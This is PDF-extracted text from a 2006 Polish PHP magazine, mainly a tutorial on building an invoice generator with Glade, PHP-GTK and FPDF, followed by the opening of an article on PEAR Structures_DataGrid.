ciski i ramki. Glade służy wyłącznie do ge-

nerowania struktury interfejsu użytkownika

i nie jest edytorem kodu, ani środowiskiem

programistycznym.

Ostateczny układ interfejsu jest zapi-

sywany w XML-owym pliku o rozszerzeniu

.glade.

Podstawy Glade’aPasek narzędzi w głównym oknie progra-

mu Glade zawiera przyciski podstawowych

operacji Otwórz i Zapisz, przycisk opcji

projektu oraz listę okien zawierających

projekty. Menu Edycja zawiera typowe

operacje Wytnij, Skopiuj i Wklej, a w menu

Widok dostępne są opcje wyświetlania po-

szczególnych okien interfejsu Glade (pale-

ty, właściwości i innych) – patrz Rysunek 1.

Ręczne stworzenie interfejsu grafi cznego GTK

dla aplikacji PHP nie jest zadaniem trudnym,

a może zaowocować lepszą wydajnością.

Wymaga jednak sporo czasu, którego twórcom

aplikacji często brakuje. W takiej sytuacji

konieczne staje się skorzystanie z narzędzia

grafi cznego...

Paleta

Pierwszym elementem każdego projektu

Glade jest okno, dostępne jako pierw-

szy element palety Glade (Rysunek 2)

i reprezentujące komponent GtkWindow.

Kliknięcie elementu Okno na palecie

spowoduje wyświetlenie pierwszego

okna tworzonego interfejsu, w którym

możemy następnie umieszczać kolej-

ne komponenty (widgety) dostępne na

palecie, na przykład GtkHBox (skrzynkę

poziomą), GtkVBox (skrzynkę pionową),

Glade GUI Builder– piszemy generator fakturPablo Dall’Oglio

W SIECI

1. http://glade.gnome.org

– strona główna projektu

Glade

2. http://http://gladewin32.so-

urceforge.net/ – Glade dla

Windows

3. http://developer.gnome.org/

doc/API/2.0/pango/

PangoMarkupFormat.html

– dokumentacja formatu

Pango

4. http://gtk.php.net – strona

główna PHP-GTK

Co powinieneś wiedzieć...Powinieneś znać podstawy tworzenia

aplikacji z GUI i pracy z PHP-GTK. Przy-

da się również znajomość zasad progra-

mowania obiektowego.

Co obiecujemy...Dowiesz się jak napisać aplikację PHP5

generującą faktury, z GUI stworzonym

przy użyciu programu Glade i dołączo-

nym do aplikacji za pomocą rozszerzenia

PHP-GTK.

Stopień trudności: ���

Page 65: PHPSolutions_2_2006_PL

Glade

www.phpsolmag.org 65

Projekty

PHP Solutions Nr 2/2006

GtkFixed (komponent pozycjonowania

bezwzględnego), GtkLabel (etykietę),

GtkEntry (pole tekstowe), GtkRadioButton,

GtkCheckButton, GtkFrame, GtkImage,

GtkComboBox, GtkToolBar i inne.

Lista komponentów jest podzielona na

strony zawierające widgety podstawowe,

dodatkowe i przestarzałe, przy czym te

ostatnie obejmują stare komponenty Gtk1

(GtkFileSelection, GtkCTree, GtkCList

itd.).

Drzewo widgetów

Dostępna z menu Widok opcja Drzewo

widgetów wyświetla drzewo obrazujące

hierarchię wszystkich komponentów

aktualnego interfejsu. Każdy widget jest

widoczny jako osobny węzeł drzewa (Ry-

sunek 3), a hierarchia węzłów obrazuje re-

lacje zawierania między widgetami, czyli to,

który widget jest rodzicem (parent), a który

należącym do niego dzieckiem (child).

Funkcja ta jest szczególnie użyteczna,

gdy pracujemy z widgetami niewidocznymi

(np. GtkHBox czy GtkVBox), gdyż umożliwia

łatwe zaznaczanie każdego komponentu

– wystarczy kliknąć jego węzeł prawym

przyciskiem myszy i wybrać Zaznacz. Wła-

ściwości aktualnie zaznaczonego widgetu

są wyświetlane w oknie Właściwości.

Okno projektu

Wszystkie widgety są umieszczane

w głównym oknie projektu. Po lewej

stronie na Rysunku 4 widać okno

(komponent GtkWindow) zawierające

widget GtkFixed, pozwalający określać

bezwzględne pozycje widgetów (przyci-

sków, etykiet, pól wyboru, itd.) w obrębie

okna. Drugie okno, które przedstawiamy

na tym samym rysunku demonstruje in-

ny układ: w oknie umieściliśmy najpierw

skrzynkę pionową (komponent GtkVBox),

a w jej drugim wierszu wstawiliśmy

skrzynkę poziomą (GtkHBox). W tej ostat-

niej umieścimy etykietę (GtkLabel) w dru-

giej kolumnie i pole tekstowe (GtkEntry)

w czwartej.

Okno właściwości

W oknie Właściwości (Rysunek 5) można

modyfi kować ustawienia aktualnie zazna-

czonego komponentu. Zestaw dostępnych

właściwości zależy od typu widgetu – wy-

branie dowolnego komponentu spowoduje

wyświetlenie odpowiednich dla niego

atrybutów.

Okno Właściwości zawiera kilka

zakładek. Pierwszą z nich jest zakładka

Widget, pozwalająca określać podstawo-

we właściwości wybranego komponentu.

Najważniejszą z naszego punktu widzenia

właściwością jest nazwa widgetu, gdyż za

jej pomocą będziemy się do niego odwoły-

wać w aplikacji.

Każdy typ komponentu ma swoje wła-

sne atrybuty – przykładowo, dla widgetu

GtkLabel możemy określać tekst i wyrów-

nanie, dla GtkButton – ikonę i etykietę, dla

GtkEntry maksymalną długość wprowa-

dzanego tekstu, itd.

Zawartość zakładki Upakowywanie

zależy od stosowanego dla danego kom-

ponentu trybu pakowania – na Rysunku

6 przedstawiamy ustawienia dla dwóch

trybów. Jeśli widget jest umieszczony

w kontenerze GtkFixed (określającym

pozycjonowanie bezwzględne), do dys-

pozycji mamy jedynie jego współrzędne

w ramach okna. W przypadku pozycjono-

wania komponentu w kontenerze GtkVBox

lub GtkHBox możemy też zmieniać inne

właściwości, na przykład Rozszerzanie

(czy kontener ma się dostosowywać do

rozmiaru widgeta) i Wypełnianie (czy

widget ma wypełniać całą dostępną prze-

strzeń w kontenerze).

Na Rysunku 6 pokazujemy też trzecią

zakładkę właściwości o nazwie Typowe.

Zawiera ona wspólne dla wielu widgetów

InstalacjaProgram Glade stanowi standardowy element środowiska GNOME, więc powinien być

obecny we wszystkich dystrybucjach Linuksa to środowisko zawierających. Jeśli korzy-

stasz z Linuksa, a nie możesz znaleźć Glade’a, poszukaj odpowiedniego pakietu dla

używanej dystrybucji. W razie problemów ze znalezieniem takowego lub w celu uzyskania

najnowszej wersji, można też pobrać kod źródłowy ze strony głównej projektu Glade (http://

glade.gnome.org) i skompilować go poleceniami:

./confi gure

make

make install

W skład pakietu instalacyjnego Glade'a wchodzi plik INSTALL, zawierający informacje

o niestandardowych konfi guracjach programu.

Instalacja w systemach Windows jest bardzo prosta – wystarczy pobrać plik instalato-

ra ze strony http://gladewin32.sourceforge.net i uruchomić go.

WymaganiaGlade wymaga obecności środowiska GTK-2. Korzystanie z interfejsów GTK z poziomu

PHP wymaga dodatkowo rozszerzenia PHP-GTK, dostępnego na stronie http://gtk.php.net

i jest możliwe wyłącznie w przypadku PHP5.

Rysunek 1. Główne okno programu

Glade

Rysunek 2. Paleta widgetów

Page 66: PHPSolutions_2_2006_PL

Glade

www.phpsolmag.org66

Projekty

PHP Solutions Nr 2/2006

atrybuty, takie jak szerokość, wysokość,

widoczność, itp.

Czwarta zakładka właściwości (Sygna-

ły) pozwala kojarzyć sygnały zgłaszane

przez widget (w przypadku przycisku, czyli

widgetu GtkButton, będą to m.in. clicked,

pressed i released) z konkretnymi funk-

cjami obsługi. Funkcję obsługi sygnału

określamy podając jej nazwę i jest to

funkcja lub metoda aplikacji, która ma być

wywołana w reakcji na zgłoszenie danego

sygnału przez bieżący widget. Nie ma po-

trzeby łączenia sygnałów z funkcjami na

etapie pracy z Gladem, gdyż najczęściej

odbywa się to dopiero podczas tworzenia

samej aplikacji.

Plik XMLz defi nicją interfejsuZapisanie projektu Glade powoduje

wygenerowanie pliku XML opisującego

strukturę interfejsu (Listing 1). Plik ten

zawiera nazwy widgetów oraz ich wła-

ściwości, a więc wymiary, etykiety, ikony,

tryby pakowania, przypisania sygnałów

do funkcji obsługi i inne. Właściwości każ-

dego widgetu reprezentuje zestaw znacz-

ników XML, których hierarchia odpowiada

hierarchii widgetów.

Gotowy projekt Glade można już

wykorzystać w aplikacji. Z poziomu PHP

odbywa się to za pośrednictwem klasy

GladeXML, która przetwarza XML-owy opis

interfejsu i udostępnia naszej aplikacji

zdefi niowane przez niego widgety. Po-

bieranie konkretnych widgetów umożliwia

metoda get_widget(). Jej użycie wymaga

jedynie znajomości nazwy komponentu,

który chcemy pobrać z pliku projektu

Glade.

Pierwszy przykładNa początek stworzymy okno (widget

GtkWindow) zawierające skrzynkę pionową

(widget GtkVBox). W pierwszej komórce

skrzynki umieścimy etykietę zawierającą

pogrubiony tekst Podaj imię, w drugiej

Listing 1. Przykładowy plik XML dla projektu Glade

<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->

<!DOCTYPE glade-interface SYSTEM "http://glade.gnome.org/glade-2.0.dtd">

<glade-interface>

<widget class="GtkWindow" id="window1">

<property name="visible">True</property>

<property name="title" translatable="yes">okno1</property>

<property name="type">GTK_WINDOW_TOPLEVEL</property>

<property name="window_position">GTK_WIN_POS_NONE</property>

<property name="modal">False</property>

<property name="resizable">True</property>

<property name="destroy_with_parent">False</property>

<property name="decorated">True</property>

<property name="skip_taskbar_hint">False</property>

<property name="skip_pager_hint">False</property>

<property name="type_hint">GDK_WINDOW_TYPE_HINT_NORMAL</property>

<property name="gravity">GDK_GRAVITY_NORTH_WEST</property>

<property name="focus_on_map">True</property>

<child>

<widget class="GtkVBox" id="vbox1">

<property name="visible">True</property>

<property name="homogeneous">False</property>

<property name="spacing">0</property>

<child><placeholder/></child><child>

<widget class="GtkHBox" id="hbox2">

<property name="visible">True</property>

<property name="homogeneous">False</property>

<property name="spacing">0</property>

<child>

<widget class="GtkLabel" id="label1">

<property name="visible">True</property>

<property name="label" translatable="yes"> Kod: </property>

<property name="use_underline">False</property>

<property name="use_markup">False</property>

<property name="justify">GTK_JUSTIFY_LEFT</property>

<property name="wrap">False</property>

<property name="selectable">False</property>

<property name="xalign">0.5</property>

<property name="yalign">0.5</property>

<property name="xpad">0</property>

<property name="ypad">0</property>

<property name="ellipsize">PANGO_ELLIPSIZE_NONE</property>

<property name="width_chars">-1</property>

<property name="single_line_mode">False</property>

<property name="angle">0</property>

</widget>

<packing>

<property name="padding">0</property>

<property name="expand">False</property>

<property name="fi ll">False</property>

</packing>

</child>

</widget>

<packing>

<property name="padding">0</property>

<property name="expand">True</property>

<property name="fi ll">True</property>

</packin g>

</child><child><placeholder/></child>

</widget>

</child>

</widget>

</glade-interface>

Rysunek 3. Drzewo widgetów

Page 67: PHPSolutions_2_2006_PL

Glade

www.phpsolmag.org 67

Projekty

PHP Solutions Nr 2/2006

znajdzie się pole tekstowe o nazwie name,

w trzeciej wstawimy przycisk Wypisz,

a czwarta komórka będzie zawierała ety-

kietę o nazwie result. Rezultat przedsta-

wiamy na Rysunkach 7 i 8.

Program działa następująco: użytkow-

nik wpisuje dowolny tekst w polu name,

a kliknięcie przycisku Wypisz powoduje

ustawienie tekstu etykiety result na

Hello <imię>, gdzie <imię> jest tekstem

wprowadzonym w polu name (patrz Rysu-

nek 9).

Jest to bardzo prosty przykład, ale

wystarczy nam do zilustrowania pod-

stawowych możliwości wykorzystania

programu Glade i połączenia wygene-

rowanego za jego pomocą interfejsu

z aplikacją. Pora skorzystać ze zdefi nio-

wanego interfejsu – na Listingu 2 przed-

stawiamy odpowiedni kod. Zaczynamy

od utworzenia obiektu klasy GladeXML

i przypisania go zmiennej $glade, po

czym wywołując metodę get_widget()

tego obiektu pobieramy kolejno trzy

potrzebne nam widgety: name, print

i result i tworzymy trzy odpowiadające

im obiekty: $name, $print i $result. Na

tak utworzonych obiektach możemy już

wykonywać dowolne operacje odpo-

wiednie dla reprezentowanych przez nie

widgetów – zmieniać właściwości, przy-

pisywać funkcje obsługi do sygnałów,

ukrywać komponenty, itd.

AplikacjaNajwyższy czas na aplikację z prawdzi-

wego zdarzenia: generator faktur. Do

zaprojektowania interfejsu użytkownika

wykorzystamy program Glade, po czym

postępując podobnie, jak w poprzednim

przykładzie, napiszemy kod aplikacji od-

wołujący się do tak utworzonego interfej-

su. Ponieważ faktury będą generowane

w formacie PDF, będziemy dodatkowo

korzystali z FPDF – napisanej w czy-

Rysunek 5. Okno właściwości dla widgetów GtkEntry, GtkLabel

i GtkButton

Rysunek 6. Okno właściwości: zakładki Upakowywanie, Typowe i Sygnały

Rysunek 4. Okno projektu

Rysunek 7. Pierwszy przykład

Page 68: PHPSolutions_2_2006_PL

Glade

www.phpsolmag.org68

Projekty

PHP Solutions Nr 2/2006

stym PHP opensourcowej biblioteki do

generowania plików PDF, pozwalającej

tworzyć dokumenty zawierające tekst,

grafi kę i inne elementy.

Główne okno programu

Zaczniemy od zaprojektowania główne-

go okna interfejsu aplikacji, czyli pierw-

szego komponentu na palecie (Rysunek

10). Po kliknięciu przycisku Okno pojawi

się pierwsze okno programu, w którym

będziemy układali kolejne widgety. Bez-

pośrednio w komponencie GtkWindow

można umieścić tylko jeden komponent,

więc powinien to być jeden z dostępnych

kontenerów, czyli widgetów dziedziczą-

cych z klasy bazowej GtkContainer.

Możemy tu korzystać między innymi ze

skrzynek pionowych (GtkVBox) i pozio-

mych (GtkHBox), ramek (GtkFrame) czy

układu bezwzględnego (GtkFixed). W tej

aplikacji skorzystamy w tego ostatniego

kontenera, co pozwoli nam określać

bezwzględną pozycję widgetów umiesz-

czanych w obrębie okna.

Dodawanie grafi ki

Pora zacząć umieszczać widoczne

elementy interfejsu w oknie aplikacji.

Na początek wstawimy logo, do czego

posłuży przycisk palety przedstawiają-

cy obrazek i odpowiadający widgetowi

GtkImage. Obsługiwany jest import ob-

razów w wielu popularnych formatach

(PNG, JPG, XPM i inne). GtkImage

pozwala również korzystać z przezro-

czystości (ang. transparency) obrazu.

Z palety wybieramy więc Obraz i klika-

my w obrębie utworzonego wcześniej

obszaru GtkFixed w miejscu, w którym

ma się znaleźć grafi ka, po czym usta-

wiamy właściwość icon wstawionego

obrazu na ścieżkę pożądanego pliku

grafi cznego (Rysunek 11). Jeśli jest to

konieczne, możemy zmienić pozycję

obrazu na ekranie przesuwając go my-

szą lub odpowiednio modyfi kując wła-

ściwości w zakładce Upakowywanie.

Dodawanie etykiety

W następnej kolejności dodamy etykie-

ty, czyli widgety typu GtkLabel. Jedną

z istotniejszych nowości w GTK-2 było

wprowadzenie obsługi frameworka Pan-

go, pozwalającego za pomocą języka

znaczników defi niować krój, wielkość,

kolor i styl czcionki i tym samym otwie-

rającego ogromne możliwości prezenta-

cji tekstu.

Listing 2. Korzystanie z pliku Glade w aplikacji PHP

<?php

$glade = new GladeXML('exemplo1.glade'); // utworzenie obiektu Glade

$name = $glade->get_widget('name'); // pobranie pola tekstowego name

$print = $glade->get_widget('print'); // pobranie przycisku wypisania

$result = $glade->get_widget('result'); // pobranie etykiety result

$print->connect_simple('clicked', 'onPrint'); // podłączenie przycisku wypisania

function onPrint(){

global $name, $result;

$text = $name->get_text(); // pobranie wpisanego tekstu

$result->set_text("Hello {$text}"); // ustawienie etykiety result

}

Gtk::Main();

?>

Listing 3. Generator faktur w PHP (plik Invoice.php)

<?

// Klasa Invoice - obsługuje GUI i inicjuje generowanie faktury

fi nal class Invoice extends GladeXML{

private $invoice; // obiekt faktury

private $taxes = 0.05; // podatek 5%

private $shipping_fee = 0.4; // wysyłka $0,4 na każdą pozycję

private $amount = 0; // liczba pozycji

// Wczytanie elementów interfejsu i podłączenie sygnałów

public function __construct(){

parent::__construct('interface.glade'); // Wywołanie konstruktora GladeXML

setlocale(LC_ALL, 'POSIX'); // Ustawienie metody obliczeń

// Podłączenie przycisków

$this->saveButton->connect_simple('clicked',array($this,'saveInvoice'));

...

// Ustawienie dzisiejszej daty faktury

$this->invoiceDate->set_text(date("Y-m-d"));

// Utworzenie struktury do składowania danych

$this->model = new GtkListStore(Gtk::TYPE_STRING, Gtk::TYPE_STRING,

Gtk::TYPE_STRING, Gtk::TYPE_STRING);

$this->itemsList->set_model($this->model);

// Utworzenie kolumn

$column1 = new GtkTreeViewColumn();

...

// Utworzenie obiektu wyświetlania komórki

$cell_renderer1 = new GtkCellRendererText();

...

// Jeden obiekt wyświetlania na kolumnę

$column1->pack_start($cell_renderer1, true);

...

// Ustawienie indeksów

$column1->set_attributes($cell_renderer1, 'text', 0);

...

$this->itemsList->append_column($column1);

...

// Ustawienie nagłówków kolumn

$column1->set_title('Kod');

...

}

// Zwraca obiekt Glade, jeśli żądana właściwość nie istnieje

public function __get($property){

// Pobranie obiektu Glade

return parent::get_widget($property);

}

// Dodaje pozycję do listy

public function addItem(){

$product = array(); // utworzenie tablicy produktów

$product[]=$this->productCode->get_text(); //Pobranie danych z formularza

...

$this->model->append($product); // Dodanie produktu do listy

$this->amount+=$this->productQuantity->get_text(); //Zwiększenie liczby pozycji

Page 69: PHPSolutions_2_2006_PL

Glade

www.phpsolmag.org 69

Projekty

PHP Solutions Nr 2/2006

Umieszczenie komponentu GtkLabel

w obszarze GtkFixed sprowadza się do

kliknięcia przycisku GtkLabel na palecie,

a następnie kliknięcia w oknie projektu

tam, gdzie ma się znaleźć etykieta. Na-

Listing 4. Generator faktur w PHP (plik Invoice.php), c.d.

// Obliczenie sumy pośredniej

$this->subTotal->set_text($this->subTotal->get_text()+

$this->productPrice->get_text());

// Obliczenie kosztu wysyłki

$this->Shipping->set_text($this->amount*$this->shipping_fee);

// Obliczenie kwoty podatku

$this->Taxes->set_text($this->subTotal->get_text()*$this->taxes);

// Podliczenie łącznej sumy

$this->Total->set_text($this->subTotal->get_text() +

$this->Shipping->get_text()+$this->Taxes->get_text());

// Opróżnienie pól tekstowych

$this->productCode->set_text('');

...

// Przeniesienie kursora do pola kodu produktu

$this->window->set_focus($this->productCode);

}

// Metoda clearItems() – opróżnia listę produktów

public function clearItems(){

$this->model->clear(); // usunięcie elementów listy

$this->amount = 0;

$this->subTotal->set_text(0); // wyzerowanie sumy pośredniej

...

// zwiększenie numeru faktury

$this->invoiceNumber->set_text($this->invoiceNumber->get_text() + 1);

}

// Generuje fakturę

public function saveInvoice(){

include_once('InvoicePdf.class.php'); // dołączenie klasy faktury

$this->invoice = new InvoicePdf();

// Ustawienie numeru i daty faktury

$this->invoice->setNumber($this->invoiceNumber->get_text());

$this->invoice->setDate($this->invoiceDate->get_text());

// Utworzenie obiektu klienta

$customer->name = $this->customerName->get_text();

...

// Ustawienie danych klienta na fakturze

$this->invoice->setCustomer($customer);

// Przejście w pętli po wszystkich produktach

$iter = $this->model->get_iter_fi rst();

while ($iter){

$code = $this->model->get_value($iter, 0);

...

// Dodanie danych produktu do obiektu faktury

Rysunek 8. Pierwszy przykład c.d.

Rysunek 9. Ostateczny wygląd pierw-

szego przykładu

stępnie przechodzimy do edycji właściwo-

ści Label, gdzie wykorzystamy możliwości

znaczników formatujących (wymaga to

dodatkowo włączenia właściwości Użycie

języka znaczników).

Składnia znaczników formatujących

jest bardzo podobna do analogicz-

nych tagów języka HTML – atrybuty

czcionki ustawimy przy użyciu <span

font_desc="Times Bold Italic 10">,

do określenia koloru (na przykład)

czerwonego posłuży znacznik <span

foreground=red>, a tagi <b>, <i> i <u>

określają odpowiednio pogrubienie, kur-

sywę i podkreślenie. Zarówno API

Pango, jak i obsługiwane znaczniki są

szczegółowo opisane na stronie http://

developer.gnome.org/doc/API/2.0/pango/

PangoMarkupFormat.html.

Analogicznie dodajemy etykiety Klient,

Nazwa, Adres, Faktura, Data, Produkt,

Kod, Opis, Ilość, Cena, Suma pośrednia,

Podatki, Koszt wysyłki i Suma.

Dodawanie pola tekstowego

Teraz dodamy odpowiadające poszcze-

gólnym etykietom pola tekstowe (widgety

GtkEntry), poczynając od pola nazwy

klienta, czyli customerName. Pozycję każ-

dego pola dopasowujemy korzystając

z właściwości w zakładce Upakowywanie

oraz właściwości wysokości i szerokości

w zakładce Typowe. Cały proces powta-

Page 70: PHPSolutions_2_2006_PL

Glade

www.phpsolmag.org70

Projekty

PHP Solutions Nr 2/2006

rzamy dla pozostałych pól tekstowych,

o nazwach:

customerAddress, customerPhone,

productCode, productDescription,

productQuantity, productPrice,

subTotal, Taxes, Shipping, Total,

invoiceNumber i invoiceDate.

Dodawanie przycisku

Pora ożywić interfejs dodając do niego kil-

ka przycisków. Pierwszy przycisk otrzyma

nazwę addButton i przypiszemy mu jedną

ze standardowych ikon (+Add). Naciśnię-

cie tego przycisku będzie powodować

wczytanie wprowadzonych w polach tek-

stowych danych produktu (kodu, opisu,

ilości i ceny) i dodanie ich do listy produk-

tów, którą utworzymy w kolejnym etapie.

Ostateczny interfejs aplikacji będzie też

zawierał kilka innych przycisków, które

tworzymy w analogiczny sposób. Nazwy

wszystkich widgetów interfejsu są widocz-

ne na Rysunku 13.

Dodawanie widoku listy

Jako ostatni element interfejsu dodamy

widget typu GtkTreeView, pozwalający

wyświetlać listy i drzewa. Jedną z jego

najważniejszych cech jest całkowite od-

dzielenie danych od ich prezentacji,

dzięki czemu cały model danych dla

komponentu GtkTreeView (Rysunek 12)

można stworzyć dopiero w kodzie aplika-

cji, wykorzystując struktury i typy danych

odpowiednie dla używanego języka (w

naszym przypadku PHP). Dla potrzeb tej

aplikacji wykorzystamy GtkTreeView jako

listę, której kolumny dodamy już w kodzie

programu.

Ostateczny interfejs aplikacji

GUI generatora faktur jest już gotowe

– przedstawia je Rysunek 13 (w trybie

edycji) i Rysunek 14 (w ostatecznej

aplikacji). W nagłówku widnieje logo

Gnome Foundation, tytuł programu oraz

adres sformatowany z wykorzystaniem

znaczników Pango, jak również Numer

faktury i Data. W sekcji Klient znajdu-

ją się etykiety i pola tekstowe Nazwa

klienta, Adres i Telefon. W sekcji Pro-

dukt widoczne są podobne etykiety i po-

la tekstowe: Kod produktu, Opis, Ilość

i Cena. Jest tam również przycisk Do-

daj, którego naciśnięcie powoduje wczy-

tanie danych produktu z pól tekstowych

i dodanie ich do listy. W prawym dolnym

Rysunek 11. Właściwości świeżo doda-

nego obrazka

Rysunek 12. Widget GtkTreeView w

trybie listy

Rysunek 10. Paleta widgetów

Listing 5. Generator faktur w PHP (plik Invoice.php), c.d.

$this->invoice->addItem($code, $description, $quantity, $price);

$iter = $this->model->iter_next($iter);

}

// Ustawienie danych stopki

$this->invoice->setFooter($this->subTotal->get_text(),

...

$this->Total->get_text());

// Pobranie nazwy pliku od użytkownika

$dialog = new GtkFileChooserDialog('Zapisz...', NULL,

Gtk::FILE_CHOOSER_ACTION_SAVE,array(Gtk::STOCK_OK,Gtk::RESPONSE_OK,

Gtk::STOCK_CANCEL, Gtk::RESPONSE_CANCEL));

$response = $dialog->run();

if ($response == Gtk::RESPONSE_OK){

// Wygenerowanie dokumentu faktury do pliku o podanej nazwie

$this->invoice->Generate($dialog->get_fi lename());

}

$dialog->destroy();

$this->clearItems();

}

}

$application = new Invoice; // Utworzenie instancji interfejsu

Gtk::Main();

?>

Listing 6. Klasa generująca dokument PDF (plik InvoicePdf.class.php)

<?

// Klasa InvoicePdf: generuje dokument faktury korzystając z biblioteki FPDF

class InvoicePdf{

private $pdf; // obiekt klasy FPDF

private $number; // numer faktury

private $customer; // obiekt klienta

private $items; // tablica produktów

public function __construct(){

// Ustawienie katalogu czcionek FPDF

defi ne('FPDF_FONTPATH', getcwd() . '/fpdf/font/');

include_once 'fpdf/fpdf.php'; // dołączenie biblioteki FPDF

// Utworzenie nowego dokumentu PDF

$this->pdf = new FPDF('P', 'pt', array(596,540));

$this->pdf->SetMargins(2,2,2); // ustawienie marginesów

}

...

}

Page 71: PHPSolutions_2_2006_PL

Glade

www.phpsolmag.org 71

Projekty

PHP Solutions Nr 2/2006

rogu wyświetlane są automatycznie

wypełniane pola Suma pośrednia, Po-

datek, Koszty wysyłki i Suma. Dla po-

trzeb przykładowej aplikacji przyjmiemy

podatek 5% i koszt wysyłki $0,40 dla

każdej pozycji. Na rysunku nazwa każ-

dego widgetu jest wyróżniona kolorem

czerwonym i ujęta w nawiasy kątowe

<> (oczywiście, w aplikacji nazwy te nie

będą widoczne).

Główny kod programu

Na Listingach 3, 4 i 5 przedstawiamy kod

głównego pliku aplikacji (plik invoice.php).

Całość zaczyna się defi nicją klasy

invoice, rozszerzającej klasę GladeXML.

Przyjrzyjmy się bliżej konstruktorowi tej

klasy. Jego działanie rozpoczyna się wy-

wołaniem konstruktora klasy nadrzędnej

(czyli GladeXML) z argumentem w postaci

nazwy pliku zawierającego utworzony

wcześniej interfejs aplikacji (interface.gla-

de). Kolejny wiersz ustawia tryb POSIX

dla obliczeń.

Następną ważną czynnością jest po-

łączenie sygnałów przycisków interfejsu

z odpowiednimi funkcjami obsługi. Wyko-

rzystamy do tego celu metodę connect_

simple() przycisków $this->saveButton,

$this->clearButton i $this->addButton,

służących odpowiednio do zapisywania

danych, opróżniania pól tekstowych

i dodawania nowego produktu do listy.

Tworzenie modelu danych samej listy jest

obsługiwane osobno.

Oczywiście, pobieranie obiektu inter-

fejsu z pliku za każdym razem, gdy jest

on potrzebny, byłoby nieco kłopotliwe.

Aby ułatwić sobie życie, skorzystamy

z jednej z nowych możliwości PHP5:

magicznej metody __get(), przechwy-

tującej wszystkie próby pobrania właści-

wości obiektu. Za jej pomocą będziemy

sprawdzać, czy nie zażądano atrybutów

nieistniejącego obiektu, a jeśli tak się

stanie – utworzymy odpowiedni obiekt

wywołując metodę get_widget() klasy

GladeXML. W praktyce oznacza to, że

dostęp np. do widgetu customerName

możemy zawsze uzyskać przez $this-

>customerName, a do przycisku Zapisz

– przez $this->saveButton.

Musimy jeszcze podłączyć przyciski

do odpowiednich sygnałów i funkcji obsłu-

gi. Gdy użytkownik wprowadzi dane kolej-

nej pozycji faktury i kliknie przycisk Dodaj,

zostanie wykonana metoda addItem(),

która doda informacje o danym produkcie

do listy. Kliknięcie przycisku Zapisz spo-

woduje wywołanie metody saveInvoice().

Wyświetla ona okno dialogowe klasy

GtkFileChooserDialog, w którym użytkow-

nik podaje nazwę tworzonego pliku, a na-

stępnie inicjuje obiekt klasy InvoicePdf,

co powoduje wygenerowanie pliku PDF

z fakturą. Po wygenerowaniu pliku numer

faktury jest zwiększany o jeden, a lista po-

zycji jest opróżniana.

Generowanie pliku PDF

Klasa InvoicePdf odpowiada za tworzenie

pliku PDF (Listing 6). Inicjuje ona obiekt

klasy FPDF i udostępnia kilka metod:

setCustomer() ustawiającą dane klienta

(nazwę, adres i telefon), setFooter()

ustawiającą informacje podawane w stop-

ce faktury (sumę pośrednią, koszt wy-

syłki, podatek i łączną sumę), addItem()

dodającą produkt do listy oraz metodę

Generate(), która pobiera wszystkie nie-

zbędne informacje i tworzy odpowiedni do-

kument PDF korzystając z biblioteki FPDF.

Gotowa faktura jest otwierana w wybranej

przeglądarce plików PDF.

Gotowa faktura

Na Rysunku 15 przedstawiamy owoc

naszej pracy, czyli gotową fakturę. Jest

to dokument PDF, którego nagłówek (ob-

rysowany prostokątem) zawiera w lewym

górnym rogu logo, nazwę i adres fi rmy,

a w prawym górnym rogu – numer fak-

tury i datę. Niżej, w szarym polu podane

są dane klienta (Nazwa, Adres i Telefon),

a na środku strony znajduje się lista

produktów. Dla każdej pozycji na liście

podane są Kod, Opis, Ilość i Cena, przy

czym nazwy kolumn są umieszczone

na ciemnoszarym tle. W stopce faktury

podane są Suma pośrednia, Podatek,

Koszt wysyłki i Suma, a wszystkie kolory

są identyczne do zdefi niowanych w inter-

fejsie Glade.

PodsumowanieTak oto stworzyliśmy działający genera-

tor faktur i pokazaliśmy, jak szybko i ła-

two przebiega generowanie grafi cznych

interfejsów użytkownika z pomocą pro-

gramu Glade. Przy okazji rozprawiliśmy

się z obiegową opinią, że PHP nadaje

się tylko do pisania aplikacji działających

po stronie serwera. Połączenie PHP5,

rozszerzenia PHP-GTK i programu Gla-

de daje bardzo dobre wyniki i można

je polecić każdemu, kto chce tworzyć

wszechstronne aplikacje z interfejsem

grafi cznym, korzystając przy tym z uzna-

nych i sprawdzonych technologii. �

Rysunek 14. Ostateczny interfejs gene-

ratora w działającej aplikacjiRysunek 15. Wygenerowana faktura

Pablo Dall’Oglio jest autorem pierwszej

na świecie książki o PHP-GTK. Jest też

twórcą programów Agata Report (http://

www.agatareports.com) i Tulip Editor

(http://tulip.solis.coop.br), jak również ko-

ordynatorem projektu GNUTeca (http://

www.gnuteca.org.br) – systemu open

source do zarządzania bibliotekami.

Kontakt z autorem: [email protected]

O autorze

Rysunek 13. Ostateczny interfejs gene-

ratora w edytorze

Page 72: PHPSolutions_2_2006_PL

www.phpsolmag.org72

PEAR

PHP Solutions Nr 2/2006

Osobom programującym pod

Windows dobrze znany jest

komponent DataGrid, pozwala-

jący łatwo wyświetlać dane tabelaryczne.

Również twórcy aplikacji internetowych

w środowisku .NET mają do dyspozycji

podobne narzędzie. Natomiast dla PHP

do niedawna nie istniała żadna uznana

implementacja datagridu. Programiści,

którzy potrzebowali z niego skorzystać

byli więc zmuszeni pisać własną wersję

datagridu lub zadowalać się niedoskona-

łą implementacją komercyjną.

Lukę tę doskonale wypełnia roz-

szerzenie PEAR Structures_DataGrid.

Oprócz opcji odczytywania danych z ba-

zy i wiązania ich z tabelą HTML oferuje

także dużą elastyczność dotyczącą po-

bierania i prezentacji danych. Oznacza

to, że w ramach Structures_DataGrid

można np. zaimportować dane z pliku

XML korzystając ze sterownika obsługu-

jącego to źródło danych, wybrać pola,

które mają być widoczne, a następnie

Tworzenie prostych i estetycznych

prezentacji danych tabelarycznych w PHP

powinno być równie łatwe, jak za pomocą

arkuszy kalkulacyjnych czy edytorów

HTML i sprowadzać się jedynie do wyboru

odpowiedniego narzędzia i ustawienia jego

parametrów. Temu celowi służy Structures_

DataGrid, pozwalając dodatkowo na swobodny

wybór źródła danych i formy prezentacji, a także

eksport wyników do takich formatów, jak XLS

(MS Excel) czy CSV.

wyświetlić wynik w postaci tabeli lub

przekonwertować go do formatu, dla któ-

rego istnieje sterownik prezentacji. W Ta-

beli 1 pokazujemy wybór udostępnianych

przez rozszerzenie Structures_DataGrid

możliwości wczytywania i prezentacji

danych.

Do dziełaZaczniemy od przykładów wykorzysta-

nia rozszerzenia Structures_DataGrid,

a następnie do rozwiązań, w których

Structures_DataGrid dla danych tabelarycznychAaron Wormus

W SIECI

1. pear.php.net/package/

